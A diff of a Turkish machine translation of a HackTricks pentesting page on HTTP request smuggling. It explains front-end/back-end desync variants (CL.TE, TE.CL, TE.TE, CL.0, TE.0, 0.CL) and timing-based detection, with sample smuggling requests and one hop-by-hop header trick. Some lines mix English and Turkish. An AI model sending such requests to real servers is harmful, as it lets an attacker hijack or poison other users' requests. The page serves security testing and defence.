Translated ['src/pentesting-web/http-request-smuggling/README.md'] to tr

src/pentesting-web/http-request-smuggling/README.md

@@ -3,78 +3,78 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 
-## Ne olduğu
+## Nedir
 
-Bu açıklık, **front-end proxy'ler** ile **back-end** sunucu arasında bir **desenronizasyon** oluştuğunda ortaya çıkar; bu durum bir **saldırganın** HTTP bir **istek** göndermesine izin verir; bu istek **front-end** proxy'ler (load balancer/reverse-proxy) tarafından **tek bir istek** olarak, **back-end** sunucu tarafından ise **2 istek** olarak **yorumlanır**.\
+Bu zafiyet, **ön uç proxy'ler** ile **arka uç** sunucu arasında bir **desyncronization** (senkronizasyon kaybı) olduğunda ortaya çıkar; bu durum bir **saldırganın** bir HTTP **isteği** gönderip bunun **ön uç** proxy'ler (load balance/reverse-proxy) tarafından **tek istek** olarak, **arka uç** sunucu tarafından ise **2 istek** olarak **yorumlanmasına** izin verir.\
-Bu, bir kullanıcının **sonraki back-end sunucuya gelen isteği değiştirmesine** olanak sağlar.
+Bu, bir kullanıcının **arka uca gelen bir sonraki isteği değiştirmesine** imkan tanır.
 
 ### Teori
 
 [**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
 
-> Eğer bir mesaj hem Transfer-Encoding header alanına hem de Content-Length header alanına sahipse, ikincisi göz ardı edilmelidir.
+> If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
 
 **Content-Length**
 
-> Content-Length entity header, alıcıya gönderilen entity-body'nin bayt cinsinden boyutunu gösterir.
+> The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
 
 **Transfer-Encoding: chunked**
 
-> Transfer-Encoding header, payload gövdesini kullanıcıya güvenli bir şekilde aktarmak için kullanılan encoding biçimini belirtir.\
+> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
-> Chunked, büyük verilerin bir dizi chunk halinde gönderildiği anlamına gelir.
+> Chunked means that large data is sent in a series of chunks
 
 ### Gerçeklik
 
-**Front-End** (bir load-balancer / Reverse Proxy), _**Content-Length**_ veya _**Transfer-Encoding**_ header'ını işlerken, **Back-end** sunucu diğerini işlediğinde iki sistem arasında bir **desenronizasyon** oluşur.\
+**Ön Uç** (yük dengeleyici / Reverse Proxy) bir _**content-length**_ veya _**transfer-encoding**_ başlığını işlerken, **Arka Uç** sunucu **diğerini** işleyebilir ve bu iki sistem arasında bir **desyncronization** (senkronizasyon kaybı) oluşturabilir.\
-Bu çok kritik olabilir çünkü **bir saldırgan reverse proxy'ye tek bir istek** gönderebilir ve bu istek **back-end** sunucu tarafından **2 farklı istek** olarak **yorumlanır**. Bu tekniğin tehlikesi, **back-end** sunucunun **enjekte edilen 2. isteği**, sanki **bir sonraki istemciden gelmiş** gibi yorumlamasında ve o istemcinin gerçek isteğinin **enjekte edilen isteğin parçası** haline gelmesinde yatar.
+Bu çok kritik olabilir çünkü **saldırgan**, reverse proxy'ye gönderdiği bir isteği **arka uç** sunucu tarafından **iki farklı istek** olarak yorumlanacak şekilde gönderebilir. Bu tekniğin tehlikesi, **arka ucun** **enjekte edilen 2. isteği**, sanki **bir sonraki istemciden gelmiş** gibi yorumlamasında ve o istemcinin gerçek isteğinin **enjekte edilmiş isteğin** bir parçası haline gelmesinde yatar.
 
 ### Özellikler
 
-HTTP'de unutmayın ki **yeni satır karakteri 2 byte'tan oluşur:**
+HTTP'de **yeni satır karakterinin 2 byte'tan oluştuğunu** unutmayın:
 
-- **Content-Length**: Bu header, isteğin gövdesindeki **bayt** sayısını belirtmek için **onluk (decimal) bir sayı** kullanır. Gövde son karakterde biter, **isteğin sonunda yeni bir satır gerekli değildir**.
+- **Content-Length**: Bu başlık, isteğin gövdesinin **byte** cinsinden **adetini** belirtmek için bir **ondalık sayı** kullanır. Gövdenin son karakterinde bitmesi beklenir, **isteğin sonunda ekstra bir yeni satır gerekmez**.
-- **Transfer-Encoding:** Bu header, gövdede **bir sonraki chunk'ın bayt** sayısını belirtmek için **onaltılık (hexadecimal) bir sayı** kullanır. **Chunk** bir **yeni satır** ile **bitmelidir**, fakat bu yeni satır uzunluk göstergesi tarafından **hesaba katılmaz**. Bu transfer yöntemi, `0` boyutunda bir chunk ile **ve ardından 2 yeni satırla** sona ermelidir.
+- **Transfer-Encoding:** Bu başlık, gövdede bir **onaltılık sayı** kullanarak **sonraki chunk'ın** kaç byte olduğunu belirtir. **Chunk**, **yeni satır ile bitmelidir** ama bu yeni satır uzunluk gösterge tarafından **hesaba katılmaz**. Bu transfer yöntemi `0` boyutunda bir chunk ile ve onu takip eden **2 yeni satır** ile bitmelidir: `0`
-- **Connection**: Deneyimlerime göre request smuggling'in ilk isteğinde **`Connection: keep-alive`** kullanılması tavsiye edilir.
+- **Connection**: Deneyimlerime göre request smuggling denemelerinde ilk istek için **`Connection: keep-alive`** kullanılması tavsiye edilir.
 
 ### Visible - Hidden
 
-HTTP/1.1 ile ilgili temel sorun, tüm isteklerin aynı TCP soketinde gitmesi; bu yüzden iki sistemi alan taleplerde bir uyumsuzluk (discrepancy) bulunursa, tek bir isteğin son backend tarafından 2 farklı istek (veya daha fazlası) olarak algılanması mümkündür.
+HTTP/1.1 ile ilgili temel problem, tüm isteklerin aynı TCP soketinde gitmesidir; bu yüzden iki farklı sistemi talepleri alırken bir tutarsızlık yaşanırsa, tek bir istek final backend (veya aradaki sistemler) tarafından iki farklı istek (veya daha fazlası) olarak değerlendirilebilir.
 
-[This blog post](https://portswigger.net/research/http1-must-die) desync saldırılarını WAF'lar tarafından tespit edilmeyecek şekilde bulmak için yeni yöntemler önerir. Bunun için Visible vs Hidden davranışlarını sunar. Bu durumda amaç, aslında herhangi bir şeyi exploit etmeden desync'e neden olabilecek tekniklerle yanıtlar arasındaki uyumsuzlukları aramaktır.
+[This blog post](https://portswigger.net/research/http1-must-die) desync saldırılarını WAF'lar tarafından algılanmayacak şekilde tespit etmenin yeni yollarını önerir. Bunun için Visible vs Hidden davranışlarını sunar. Amaç, gerçekte bir şeyi exploit etmeden desync'lere neden olabilecek tekniklerle yanıtlar arasındaki tutarsızlıkları bulmaktır.
 
-Örneğin, normal Host header ve " host" header ile bir istek göndermek; eğer backend bu isteğe karşı şikayet ediyorsa (belki " host" değerinin yanlış olması nedeniyle) bu, front-end'in " host" header'ını görmemiş olması, oysa final backend'in bunu kullanmış olması anlamına gelebilir; bu da front-end ile backend arasında muhtemel bir desync gösterir.
+Örneğin, normal Host başlığı ile birlikte `" host"` başlığı gönderildiğinde; eğer arka uç bu isteğe (belki `" host"` değeri yanlış olduğu için) itiraz ediyorsa, bu ön uçun `" host"` başlığını görmediği ama arka ucun kullandığı anlamına gelebilir; bu da ön uç ile arka uç arasında bir desync olduğu anlamına gelir.
 
-Bu bir **Hidden-Visible uyumsuzluğu** olur.
+Bu bir **Hidden-Visible** tutarsızlığı olur.
 
-Eğer front-end " host" header'ını dikkate almış ama backend almamış olsaydı, bu bir **Visible-Hidden** durumu olabilirdi.
+Eğer ön uç `" host"` başlığını dikkate almış ama arka uç almamış olsaydı, bu **Visible-Hidden** durumu olabilirdi.
 
-Örneğin, bu durum AWS ALB'yi front-end, IIS'i backend olarak kullanırken desync'leri keşfetmeye izin verdi. Çünkü "Host: foo/bar" gönderildiğinde ALB `400, Server; awselb/2.0` döndürdü, ama "Host : foo/bar" gönderildiğinde `400, Server: Microsoft-HTTPAPI/2.0` döndürdü; bu backend'in yanıt gönderdiğini gösteriyordu. Bu bir Hidden-Visible (H-V) durumuydu.
+Örneğin, AWS ALB ön uç olarak ve IIS arka uç olarak kullanıldığında desync'ler tespit edilmişti. "Host: foo/bar" gönderildiğinde ALB `400, Server; awselb/2.0` döndürürken; "Host : foo/bar" gönderildiğinde `400, Server: Microsoft-HTTPAPI/2.0` döndürmüş, bu da arka ucun yanıtı gönderdiğini gösteriyordu. Bu bir Hidden-Visible (H-V) durumuydu.
 
-Bu durum AWS tarafında düzeltilmemiştir, ancak `routing.http.drop_invalid_header_fields.enabled` ve `routing.http.desync_mitigation_mode = strictest` ayarlanarak önlenebilir.
+Bu durum AWS tarafında düzeltilmemiş olmasına rağmen, `routing.http.drop_invalid_header_fields.enabled` ve `routing.http.desync_mitigation_mode = strictest` ayarlarıyla önlenebilir.
 
 ## Temel Örnekler
 
 > [!TIP]
-> Bunu Burp Suite ile exploit etmeye çalışırken repeater'da **`Update Content-Length` ve `Normalize HTTP/1 line endings`** seçeneklerini devre dışı bırakın çünkü bazı gadget'lar yeni satırlar, carriage return ve bozuk content-length'leri kullanır.
+> Burp Suite ile bunu exploit etmeye çalışırken repeater'da **`Update Content-Length` ve `Normalize HTTP/1 line endings`** seçeneğini devre dışı bırakın; çünkü bazı gadget'lar yeni satır, carriage return ve bozuk content-length değerlerinden faydalanır.
 
-HTTP request smuggling saldırıları, front-end ve back-end sunucuların `Content-Length` (CL) ve `Transfer-Encoding` (TE) header'larını nasıl yorumladıklarındaki uyumsuzlukları kullanan belirsiz (ambiguous) istekler gönderilerek hazırlanır. Bu saldırılar başlıca **CL.TE**, **TE.CL** ve **TE.TE** olarak ortaya çıkar. Her tip, front-end ve back-end sunucularının bu header'lara nasıl öncelik verdiğinin benzersiz bir kombinasyonunu temsil eder. Açıklıklar, sunucuların aynı isteği farklı şekilde işlemesinden kaynaklanır ve beklenmedik ve potansiyel olarak kötü niyetli sonuçlara yol açar.
+HTTP request smuggling saldırıları, ön uç ve arka uç sunucuların `Content-Length` (CL) ve `Transfer-Encoding` (TE) başlıklarını nasıl yorumladıkları arasındaki tutarsızlıklardan yararlanarak belirsiz istekler gönderilerek hazırlanır. Bu saldırılar ağırlıklı olarak **CL.TE**, **TE.CL** ve **TE.TE** biçimlerinde görülür. Her bir tür, ön uç ve arka uç sunucuların bu başlıkları nasıl önceliklendirdiğinin farklı bir kombinasyonunu temsil eder. Zafiyetler, sunucuların aynı isteği farklı şekillerde işlemesinden kaynaklanır ve beklenmeyen ve potansiyel olarak kötü niyetli sonuçlara yol açabilir.
 
-### Açıklık Tiplerine Temel Örnekler
+### Zayıflık Tiplerinin Temel Örnekleri
 
 ![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
 
 > [!TIP]
-> Önceki tabloya TE.0 tekniğini eklemelisiniz, CL.0 tekniğine benzer fakat Transfer-Encoding kullanır.
+> Önceki tabloya TE.0 tekniğini eklemelisiniz; CL.0 tekniğine benzerdir ancak Transfer Encoding kullanır.
 
-#### CL.TE Açığı (Front-End tarafından Content-Length, Back-End tarafından Transfer-Encoding kullanılması)
+#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
 
-- **Front-End (CL):** İsteği `Content-Length` header'ına göre işler.
+- **Ön Uç (CL):** İsteği `Content-Length` başlığına göre işler.
-- **Back-End (TE):** İsteği `Transfer-Encoding` header'ına göre işler.
+- **Arka Uç (TE):** İsteği `Transfer-Encoding` başlığına göre işler.
 - **Saldırı Senaryosu:**
 
-- Saldırgan, `Content-Length` header değerinin gerçek içerik uzunluğuyla uyuşmadığı bir istek gönderir.
+- Saldırgan, `Content-Length` başlığının değeri gerçek içerik uzunluğu ile uyuşmayacak şekilde bir istek gönderir.
-- Front-end sunucu, `Content-Length` değerine dayanarak tüm isteği back-end'e iletir.
+- Ön uç sunucu, `Content-Length` değerine dayanarak tüm isteği arka uca iletir.
-- Back-end sunucu `Transfer-Encoding: chunked` header'ını esas alarak isteği chunked olarak işler ve kalan veriyi ayrı, sonraki bir istek olarak yorumlar.
+- Arka uç sunucu, `Transfer-Encoding: chunked` başlığı nedeniyle isteği chunked olarak işler ve kalan veriyi ayrı, sonraki bir istek olarak yorumlar.
 - **Örnek:**
 
 ```
@@ -90,15 +90,15 @@ GET /404 HTTP/1.1
 Foo: x
 ```
 
-#### TE.CL Açığı (Front-End tarafından Transfer-Encoding, Back-End tarafından Content-Length kullanılması)
+#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
 
-- **Front-End (TE):** İsteği `Transfer-Encoding` header'ına göre işler.
+- **Ön Uç (TE):** İsteği `Transfer-Encoding` başlığına göre işler.
-- **Back-End (CL):** İsteği `Content-Length` header'ına göre işler.
+- **Arka Uç (CL):** İsteği `Content-Length` başlığına göre işler.
 - **Saldırı Senaryosu:**
 
-- Saldırgan, chunk boyutu (`7b`) ile gerçek içerik uzunluğu (`Content-Length: 4`) uyumsuz olan chunked bir istek gönderir.
+- Saldırgan, chunk boyutu (`7b`) ile gerçek içerik uzunluğu (`Content-Length: 4`) uyuşmayan bir chunked istek gönderir.
-- Front-end sunucu `Transfer-Encoding`e uyarak tüm isteği back-end'e iletir.
+- Ön uç sunucu `Transfer-Encoding`'i dikkate alarak tüm isteği arka uca gönderir.
-- Back-end sunucu `Content-Length`i dikkate alarak sadece isteğin ilk kısmını (`7b` bayt) işler ve kalan kısmı istem dışı bir sonraki isteğin parçası olarak bırakır.
+- Arka uç sunucu `Content-Length`'ı dikkate alarak sadece isteğin ilk kısmını (`7b` byte) işler ve geriye kalan kısım istem dışı bir sonraki isteğin parçası olarak kalır.
 - **Örnek:**
 
 ```
@@ -119,13 +119,13 @@ x=
 
 ```
 
-#### TE.TE Açığı (Her iki tarafın da Transfer-Encoding desteklediği, obfuskasyonla)
+#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
 
-- **Sunucular:** Her iki taraf da `Transfer-Encoding`i destekler, fakat biri obfuskasyon nedeniyle bunu tanıyamayacak şekilde kandırılabilir.
+- **Sunucular:** Her ikisi de `Transfer-Encoding`'i destekler, ancak biri obfuskasyon yüzünden bunu görmezden gelebilir.
 - **Saldırı Senaryosu:**
 
-- Saldırgan, obfuskasyon içeren `Transfer-Encoding` header'ları ile bir istek gönderir.
+- Saldırgan, `Transfer-Encoding` başlıklarını obfuskasyonla gönderir.
-- Hangi sunucunun (front-end veya back-end) obfuskasyonu tanımadığına bağlı olarak CL.TE veya TE.CL açığından biri kullanılabilir.
+- Ön uç veya arka uç, obfuskasyonu tanıyamazsa CL.TE veya TE.CL zafiyeti tetiklenebilir.
 - Bir sunucu tarafından işlenmeyen istek parçası, sonraki bir isteğin parçası haline gelir ve smuggling'e yol açar.
 - **Örnek:**
 
@@ -146,10 +146,10 @@ Transfer-Encoding
 : chunked
 ```
 
-#### **CL.CL Senaryosu (Content-Length her iki tarafça kullanılıyor)**
+#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
 
-- Her iki sunucu da isteği yalnızca `Content-Length` header'ına göre işler.
+- Her iki sunucu da isteği yalnızca `Content-Length` başlığına göre işler.
-- Bu senaryo genellikle smuggling'e yol açmaz, çünkü her iki sunucu da isteğin uzunluğunu aynı şekilde yorumlar.
+- Bu senaryo genellikle smuggling'e yol açmaz, çünkü her iki taraf da isteğin uzunluğunu aynı şekilde yorumlar.
 - **Örnek:**
 
 ```
@@ -161,10 +161,10 @@ Connection: keep-alive
 Normal Request
 ```
 
-#### **CL.0 Senaryosu**
+#### **CL.0 Scenario**
 
-- `Content-Length` header'ının mevcut olduğu ve sıfır olmayan bir değere sahip olduğu durumları ifade eder; bu, istek gövdesinin içerik barındırdığını gösterir. Back-end `Content-Length` header'ını yok sayar (sıfır olarak işlenir), fakat front-end bunu ayrıştırır.
+- `Content-Length` başlığının bulunduğu ve sıfır olmayan bir değere sahip olduğu, dolayısıyla isteğin gövdesi olduğu durumları ifade eder. Arka uç `Content-Length` başlığını yoksayar (0 olarak ele alır), fakat ön uç bunu parse eder.
-- Smuggling saldırılarını anlamak ve oluşturmak için önemlidir, çünkü sunucuların bir isteğin sonunu nasıl belirlediğini etkiler.
+- Bu, smuggling saldırıları oluştururken önemlidir çünkü sunucuların bir isteğin sonunu nasıl belirlediklerini etkiler.
 - **Örnek:**
 
 ```
@@ -176,10 +176,10 @@ Connection: keep-alive
 Non-Empty Body
 ```
 
-#### TE.0 Senaryosu
+#### TE.0 Scenario
 
-- Öncekine benzer ama TE kullanılarak yapılır.
+- Öncekine benzer ancak TE kullanarak.
-- Teknik [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
+- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
 - **Örnek**:
 ```
 OPTIONS / HTTP/1.1
@@ -210,46 +210,46 @@ Content-Length:
 GET /404 HTTP/1.1
 X: Y
 ```
-Ve ön uç `Content-Length`'i dikkate almadığı için yalnızca ilk isteği backend'e gönderir (örnekte 7'ye kadar). Ancak backend `Content-Length`'i görür ve ön uç zaten yanıtı beklediği için asla gelmeyen bir gövdeyi bekler.
+Ve front-end `Content-Length`'i dikkate almadığı için sadece ilk isteği backend'e gönderir (örnekte 7'ye kadar). Oysa backend `Content-Length`'i görür ve front-end zaten yanıtı beklediği için asla gelmeyecek bir body bekler.
 
-Ancak, eğer backend'e gönderilebilecek ve isteğin gövdesi gelmeden yanıtlanan bir istek varsa, bu kilitlenme oluşmaz. Örneğin IIS'de bu, `/con` gibi yasaklı kelimelere gönderilen isteklerde olur (check the [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), bu şekilde ilk istek doğrudan yanıtlanır ve ikinci istek mağdurun isteğini içerecektir:
+Ancak backend'e gönderilebilecek ve request gövdesi alınmadan yanıtlanan bir istek varsa, bu kilitlenme oluşmaz. Örneğin IIS'te bu, `/con` (check the [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)) gibi yasaklı kelimelere istek gönderildiğinde olur; bu şekilde ilk istek doğrudan yanıtlanır ve ikinci istek mağdurun isteğini şöyle içerecektir:
 ```
 GET / HTTP/1.1
 X: yGET /victim HTTP/1.1
 Host: <redacted>
 ```
-Bu, bir desync'e neden olmak için kullanışlıdır, ancak bugüne kadar herhangi bir etkisi olmadı.
+Bu, bir desync oluşturmak için faydalıdır, ancak şu ana kadar herhangi bir etkisi olmadı.
 
-Ancak yazı, bunun için **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)** dönüştürme yoluyla bir çözüm sunuyor.
+Ancak yazı, bunu çift desync kullanarak bir **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)** dönüşümüyle çözüyor.
 
 #### Web sunucusunu bozma
 
-Bu teknik, başlangıç HTTP verileri okunurken **break a web server while reading the initial HTTP data** fakat **without closing the connection** mümkün olan senaryolarda da kullanışlıdır. Bu durumda, HTTP isteğinin **body**'si **next HTTP request** olarak kabul edilecektir.
+Bu teknik, başlangıç HTTP verilerini okurken web sunucusunu **bozmanın** mümkün olduğu ancak **bağlantıyı kapatmamanın** gerektiği senaryolarda da faydalıdır. Bu şekilde, HTTP isteğinin **body**'si bir sonraki **HTTP request** olarak kabul edilecektir.
 
-Örneğin, [**this writeup**](https://mizu.re/post/twisty-python)'de açıklandığı gibi, Werkzeug'te bazı **Unicode** karakterleri göndermek mümkündü ve bu sunucuyu **break** yapıyordu. Ancak eğer HTTP bağlantısı **`Connection: keep-alive`** başlığıyla oluşturulduysa, isteğin body'si okunmayacak ve bağlantı açık kalacaktır; bu yüzden isteğin **body**'si **next HTTP request** olarak değerlendirilecektir.
+Örneğin, [**this writeup**](https://mizu.re/post/twisty-python)da açıklandığı gibi, Werkzeug'te bazı **Unicode** karakterleri göndermek sunucunun **çökmesine** neden olabiliyordu. Ancak, eğer HTTP bağlantısı **`Connection: keep-alive`** başlığıyla oluşturulduysa, isteğin body’si okunmayacak ve bağlantı açık kalmaya devam edecektir; bu yüzden isteğin **body**'si bir sonraki **HTTP request** olarak değerlendirilecektir.
 
-#### Hop-by-hop headers ile zorlama
+#### Hop-by-hop headers üzerinden zorlamak
 
-Hop-by-hop headers'ı kötüye kullanarak proxy'ye **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse** talimatı verebilirsiniz.
+Hop-by-hop headers'ı suistimal ederek proxy'nin **Content-Length veya Transfer-Encoding başlığını silmesini sağlayarak HTTP request smuggling'in suistimal edilmesine olanak tanıyabilirsiniz**.
 ```
 Connection: Content-Length
 ```
-Daha fazla bilgi için **hop-by-hop headers** hakkında bakınız:
+For **daha fazla bilgi için hop-by-hop başlıkları hakkında** ziyaret edin:
 
 
 {{#ref}}
 ../abusing-hop-by-hop-headers.md
 {{#endref}}
 
-## HTTP Request Smuggling'ı Bulma
+## HTTP Request Smuggling'i Bulma
 
-HTTP request smuggling zafiyetlerini tespit etmek sıklıkla zamanlama teknikleriyle yapılabilir; bu teknikler, sunucunun manipüle edilmiş isteklere yanıt vermesinin ne kadar sürdüğünü gözlemlemeye dayanır. Bu teknikler özellikle CL.TE ve TE.CL zafiyetlerini tespit etmek için kullanışlıdır. Bu yöntemlerin yanı sıra, bu tür zafiyetleri bulmak için kullanılabilecek başka stratejiler ve araçlar da vardır:
+HTTP request smuggling zayıflıklarını tespit etmek genellikle zamanlama teknikleriyle yapılabilir; bu teknikler, manipüle edilmiş isteklerin sunucunun yanıt vermesinin ne kadar sürdüğünü gözlemlemeye dayanır. Bu teknikler özellikle CL.TE ve TE.CL zafiyetlerini tespit etmek için kullanışlıdır. Bu yöntemlerin dışında, bu tür zafiyetleri bulmak için kullanılabilecek diğer stratejiler ve araçlar da vardır:
 
-### Zamanlama Teknikleri ile CL.TE Zafiyetlerini Bulma
+### Zamanlama Teknikleriyle CL.TE Zafiyetlerini Bulma
 
 - **Yöntem:**
 
-- Uygulama zayıfsa, arka uç sunucusunun ek veri beklemesine neden olacak bir istek gönderin.
+- Eğer uygulama kırılgan ise arka uç sunucusunun ek veri beklemesine sebep olacak bir istek gönderin.
 - **Örnek:**
 
 ```
@@ -265,18 +265,18 @@ A
 ```
 
 - **Gözlem:**
-- Ön uç sunucu isteği `Content-Length` temelinde işler ve mesajı erken keser.
+- Front-end sunucu isteği `Content-Length` bazında işler ve mesajı erken keser.
-- Arka uç sunucu, chunked bir mesaj beklediği için hiçbir zaman gelmeyen bir sonraki chunk'ı bekler ve bu gecikmeye yol açar.
+- Arka uç sunucu chunked bir mesaj beklediği için, gelmeyen sonraki chunk'ı bekleyerek gecikmeye sebep olur.
 
 - **Göstergeler:**
-- Yanıtta zaman aşımı veya uzun gecikmeler.
+- Zaman aşımı veya uzun yanıt gecikmeleri.
-- Arka uç sunucudan 400 Bad Request hatası almak, bazen detaylı sunucu bilgisi ile birlikte.
+- Bazen arka uç sunucudan detaylı sunucu bilgisi içeren 400 Bad Request hatası almak.
 
-### Zamanlama Teknikleri ile TE.CL Zafiyetlerini Bulma
+### Zamanlama Teknikleriyle TE.CL Zafiyetlerini Bulma
 
 - **Yöntem:**
 
-- Uygulama zayıfsa, arka uç sunucusunun ek veri beklemesine neden olacak bir istek gönderin.
+- Eğer uygulama kırılgan ise arka uç sunucusunun ek veri beklemesine sebep olacak bir istek gönderin.
 - **Örnek:**
 
 ```
@@ -291,49 +291,49 @@ X
 ```
 
 - **Gözlem:**
-- Ön uç sunucu isteği `Transfer-Encoding` temelinde işler ve tüm mesajı iletir.
+- Front-end sunucu isteği `Transfer-Encoding` bazında işler ve tüm mesajı iletir.
-- Arka uç sunucu `Content-Length` temelinde bir mesaj beklediği için hiçbir zaman gelmeyen ek verileri bekler ve gecikme oluşur.
+- Arka uç sunucu `Content-Length` bazlı bir mesaj beklediği için gelmeyen ek veriyi bekler ve gecikme oluşur.
 
 ### Zafiyetleri Bulmak İçin Diğer Yöntemler
 
-- **Farklı Yanıt Analizi:**
+- **Diferansiyel Yanıt Analizi:**
-- İsteğin biraz farklı versiyonlarını gönderin ve sunucu yanıtlarının beklenmeyen şekilde farklılaşıp farklılaşmadığını gözlemleyin; bu, bir ayrıştırma uyuşmazlığına işaret eder.
+- İsteğin hafifçe farklılaştırılmış versiyonlarını gönderin ve sunucu yanıtlarının beklenmedik şekilde farklılaşıp farklılaşmadığını gözlemleyin; bu bir parsing uyumsuzluğuna işaret edebilir.
-- **Otomatik Araçlar Kullanmak:**
+- **Otomatik Araç Kullanımı:**
-- Burp Suite'in 'HTTP Request Smuggler' uzantısı gibi araçlar, çeşitli belirsiz istek biçimleri göndererek ve yanıtları analiz ederek bu zafiyetleri otomatik olarak test edebilir.
+- Burp Suite'in 'HTTP Request Smuggler' extension gibi araçları, çeşitli belirsiz istekleri otomatik olarak gönderip yanıtları analiz ederek bu zafiyetleri test edebilir.
 - **Content-Length Değişkenlik Testleri:**
 - Gerçek içerik uzunluğuyla uyuşmayan farklı `Content-Length` değerleri içeren istekler gönderin ve sunucunun bu uyumsuzlukları nasıl ele aldığını gözlemleyin.
 - **Transfer-Encoding Değişkenlik Testleri:**
-- Obfuskasyona uğramış veya hatalı `Transfer-Encoding` başlıkları içeren istekler gönderin ve ön uç ile arka uç sunucuların bu manipülasyonlara nasıl farklı yanıt verdiğini izleyin.
+- `Transfer-Encoding` başlıklarını obfuske veya hatalı biçimde gönderin ve front-end ile back-end sunucuların bu manipülasyonlara nasıl farklı yanıt verdiğini izleyin.
 
-### `Expect: 100-continue` başlığı
+### The `Expect: 100-continue` header
 
-Bu başlığın bir http desync'i istismar etmede nasıl yardımcı olabileceğini inceleyin:
+Bu başlığın http desync'i istismar etmeye nasıl yardımcı olabileceğini kontrol edin:
 
 {{#ref}}
 ../../network-services-pentesting/pentesting-web/special-http-headers.md
 {{#endref}}
 
-### HTTP Request Smuggling Zafiyet Testi
+### HTTP Request Smuggling Zafiyeti Testi
 
-Zamanlama tekniklerinin etkinliğini doğruladıktan sonra, istemci isteklerinin manipüle edilip edilemeyeceğini doğrulamak çok önemlidir. Basit bir yöntem, isteklerinizi zehirlemeyi denemektir; örneğin `/` için gönderilen bir isteğin 404 yanıtı üretmesini sağlamak. Daha önce [Basic Examples](#basic-examples) kısmında tartışılan `CL.TE` ve `TE.CL` örnekleri, istemcinin farklı bir kaynağa erişmeye çalışmasına rağmen istemci isteğini zehirleyerek 404 yanıtı elde etmenin nasıl yapılacağını gösterir.
+Zamanlama tekniklerinin etkili olduğunu teyit ettikten sonra, istemci isteklerinin manipüle edilip edilemeyeceğini doğrulamak önemlidir. Basit bir yöntem, isteklerinizi zehirlemeyi denemektir; örneğin `/` isteğinin 404 yanıtı vermesini sağlamak. Önceki CL.TE ve TE.CL örnekleri [Basic Examples](#basic-examples) bölümünde, istemcinin farklı bir kaynağa erişmeye çalışmasına rağmen nasıl 404 yanıtı ürettirilebileceğini gösterir.
 
-**Önemli Hususlar**
+**Temel Dikkat Edilecekler**
 
-Başka isteklerle müdahale ederek request smuggling zafiyetlerini test ederken aklınızda bulundurun:
+Diğer isteklerle müdahale ederek request smuggling testleri yaparken akılda tutulması gerekenler:
 
-- **Ayrı Ağ Bağlantıları:** "attack" ve "normal" istekler ayrı ağ bağlantıları üzerinden gönderilmelidir. Her ikisi için aynı bağlantının kullanılması zafiyetin varlığını doğrulamaz.
+- **Ayrı Ağ Bağlantıları:** "Saldırı" ve "normal" istekler ayrı ağ bağlantıları üzerinden gönderilmelidir. Her ikisini de aynı bağlantıda göndermek zafiyetin varlığını doğrulamaz.
-- **Tutarlı URL ve Parametreler:** Her iki istek için de aynı URL'leri ve parametre adlarını kullanmaya çalışın. Modern uygulamalar genellikle URL ve parametrelere göre istekleri belirli arka uç sunuculara yönlendirir. Bunların eşleşmesi, her iki isteğin aynı sunucu tarafından işlenme olasılığını artırır; bu, başarılı bir saldırı için gerekli bir koşuldur.
+- **Tutarlı URL ve Parametreler:** Her iki istek için de aynı URL ve parametre adlarını kullanmaya çalışın. Modern uygulamalar genellikle URL ve parametrelere göre istekleri belirli arka uç sunucularına yönlendirir. Bunların eşleşmesi, her iki isteğin aynı sunucu tarafından işlenme olasılığını artırır; bu da başarılı bir saldırı için ön koşuldur.
-- **Zamanlama ve Yarış Durumları:** "Attack" isteğinden kaynaklanan müdahaleyi tespit etmek için gönderilen "normal" istek, uygulamadaki diğer eşzamanlı isteklerle yarışır. Bu nedenle "attack" isteğinin hemen ardından "normal" isteği gönderin. Yoğun uygulamalarda kesin bir doğrulama için birden fazla deneme gerekebilir.
+- **Zamanlama ve Yarışma Koşulları:** "Normal" istek, "saldırı" isteğinin müdahalesini tespit etmek için diğer eşzamanlı uygulama istekleriyle yarışır. Bu yüzden "normal" isteği, "saldırı" isteğini hemen takiben gönderin. Yoğun uygulamalarda kesin doğrulama için birden fazla deneme gerekebilir.
-- **Load Balancing Zorlukları:** Load balancer görevi gören ön uç sunucular istekleri farklı arka uç sistemlerine dağıtabilir. Eğer "attack" ve "normal" istekler farklı sistemlere düşerse saldırı başarılı olmaz. Bu load balancing durumu, zafiyeti doğrulamak için birkaç deneme gerektirebilir.
+- **Yük Dengeleme Zorlukları:** Front-end sunucular yük dengeleyici rolündeyse istekleri farklı arka uç sistemlerine dağıtabilir. Eğer "saldırı" ve "normal" istekler farklı sistemlere giderse saldırı başarılı olmaz. Bu yük dengeleme durumu, bir zafiyeti doğrulamak için birkaç deneme gerektirebilir.
-- **İstemeden Kullanıcı Etkisi:** Eğer saldırınız başka bir kullanıcının isteğini (tespit için gönderdiğiniz "normal" istek olmayan) kazara etkilerse, bu saldırınızın başka bir uygulama kullanıcısını etkilediğini gösterir. Sürekli testler diğer kullanıcıları rahatsız edebileceğinden dikkatli olunmalıdır.
